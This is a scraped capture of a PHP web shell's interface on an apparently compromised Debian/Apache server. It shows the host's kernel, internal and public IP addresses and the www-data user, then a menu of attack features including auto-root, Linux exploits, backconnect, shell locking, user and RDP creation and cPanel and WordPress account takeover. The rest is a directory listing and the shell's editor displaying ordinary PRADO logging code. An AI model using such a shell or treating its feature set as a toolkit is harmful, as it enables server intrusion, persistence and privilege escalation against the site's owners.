Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.137.177.204
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
Behaviors
[ DIR ]
drwxr-xr-x
Cron
[ DIR ]
drwxr-xr-x
IBaseBehavior.php
957
B
-rw-r--r--
IBehavior.php
957
B
-rw-r--r--
IClassBehavior.php
1.43
KB
-rw-r--r--
IDbModule.php
959
B
-rw-r--r--
IDynamicMethods.php
618
B
-rw-r--r--
IInstanceCheck.php
1.35
KB
-rw-r--r--
IPluginModule.php
531
B
-rw-r--r--
TBehavior.php
2.41
KB
-rw-r--r--
TBehaviorsModule.php
7.83
KB
-rw-r--r--
TBrowserLogRoute.php
4.75
KB
-rw-r--r--
TCallChain.php
6.08
KB
-rw-r--r--
TClassBehavior.php
852
B
-rw-r--r--
TClassBehaviorEventParameter.p...
1.81
KB
-rw-r--r--
TDataFieldAccessor.php
3.38
KB
-rw-r--r--
TDbLogRoute.php
6.08
KB
-rw-r--r--
TDbParameterModule.php
22.81
KB
-rw-r--r--
TDbPluginModule.php
2.88
KB
-rw-r--r--
TEmailLogRoute.php
3.66
KB
-rw-r--r--
TFileLogRoute.php
4.09
KB
-rw-r--r--
TFirePhpLogRoute.php
2.96
KB
-rw-r--r--
TFirebugLogRoute.php
3.81
KB
-rw-r--r--
TJsonRpcClient.php
2.47
KB
-rw-r--r--
TLogRoute.php
4.82
KB
-rw-r--r--
TLogRouter.php
5.18
KB
-rw-r--r--
TLogger.php
8.32
KB
-rw-r--r--
TParameterModule.php
5.45
KB
-rw-r--r--
TPluginModule.php
4.84
KB
-rw-r--r--
TRpcClient.php
3.91
KB
-rw-r--r--
TRpcClientRequestException.php
590
B
-rw-r--r--
TRpcClientResponseException.ph...
725
B
-rw-r--r--
TRpcClientTypesEnumerable.php
458
B
-rw-r--r--
TSimpleDateFormatter.php
8.86
KB
-rw-r--r--
TUtf8Converter.php
1.34
KB
-rw-r--r--
TVarDumper.php
3.43
KB
-rw-r--r--
TXmlRpcClient.php
2.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TFileLogRoute.php
<?php /** * TLogRouter, TLogRoute, TFileLogRoute, TEmailLogRoute class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util; use Prado\Exceptions\TConfigurationException; use Prado\Exceptions\TInvalidDataValueException; use Prado\Prado; use Prado\TPropertyValue; /** * TFileLogRoute class. * * TFileLogRoute records log messages in files. * The log files are stored under {@link setLogPath LogPath} and the file name * is specified by {@link setLogFile LogFile}. If the size of the log file is * greater than {@link setMaxFileSize MaxFileSize} (in kilo-bytes), a rotation * is performed, which renames the current log file by suffixing the file name * with '.1'. All existing log files are moved backwards one place, i.e., '.2' * to '.3', '.1' to '.2'. The property {@link setMaxLogFiles MaxLogFiles} * specifies how many files to be kept. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ class TFileLogRoute extends TLogRoute { /** * @var int maximum log file size */ private $_maxFileSize = 512; // in KB /** * @var int number of log files used for rotation */ private $_maxLogFiles = 2; /** * @var string directory storing log files */ private $_logPath; /** * @var string log file name */ private $_logFile = 'prado.log'; /** * @return string directory storing log files. Defaults to application runtime path. */ public function getLogPath() { if ($this->_logPath === null) { $this->_logPath = $this->getApplication()->getRuntimePath(); } return $this->_logPath; } /** * @param string $value directory (in namespace format) storing log files. * @throws TConfigurationException if log path is invalid */ public function setLogPath($value) { if (($this->_logPath = Prado::getPathOfNamespace($value)) === null || !is_dir($this->_logPath) || !is_writable($this->_logPath)) { throw new TConfigurationException('filelogroute_logpath_invalid', $value); } } /** * @return string log file name. Defaults to 'prado.log'. */ public function getLogFile() { return $this->_logFile; } /** * @param string $value log file name */ public function setLogFile($value) { $this->_logFile = $value; } /** * @return int maximum log file size in kilo-bytes (KB). Defaults to 1024 (1MB). */ public function getMaxFileSize() { return $this->_maxFileSize; } /** * @param int $value maximum log file size in kilo-bytes (KB). * @throws TInvalidDataValueException if the value is smaller than 1. */ public function setMaxFileSize($value) { $this->_maxFileSize = TPropertyValue::ensureInteger($value); if ($this->_maxFileSize <= 0) { throw new TInvalidDataValueException('filelogroute_maxfilesize_invalid'); } } /** * @return int number of files used for rotation. Defaults to 2. */ public function getMaxLogFiles() { return $this->_maxLogFiles; } /** * @param int $value number of files used for rotation. */ public function setMaxLogFiles($value) { $this->_maxLogFiles = TPropertyValue::ensureInteger($value); if ($this->_maxLogFiles < 1) { throw new TInvalidDataValueException('filelogroute_maxlogfiles_invalid'); } } /** * Saves log messages in files. * @param array $logs list of log messages */ protected function processLogs($logs) { $logFile = $this->getLogPath() . DIRECTORY_SEPARATOR . $this->getLogFile(); if (@filesize($logFile) > $this->_maxFileSize * 1024) { $this->rotateFiles(); } foreach ($logs as $log) { error_log($this->formatLogMessage($log[0], $log[1], $log[2], $log[3]), 3, $logFile); } } /** * Rotates log files. */ protected function rotateFiles() { $file = $this->getLogPath() . DIRECTORY_SEPARATOR . $this->getLogFile(); for ($i = $this->_maxLogFiles; $i > 0; --$i) { $rotateFile = $file . '.' . $i; if (is_file($rotateFile)) { if ($i === $this->_maxLogFiles) { unlink($rotateFile); } else { rename($rotateFile, $file . '.' . ($i + 1)); } } } if (is_file($file)) { rename($file, $file . '.1'); } } }
Close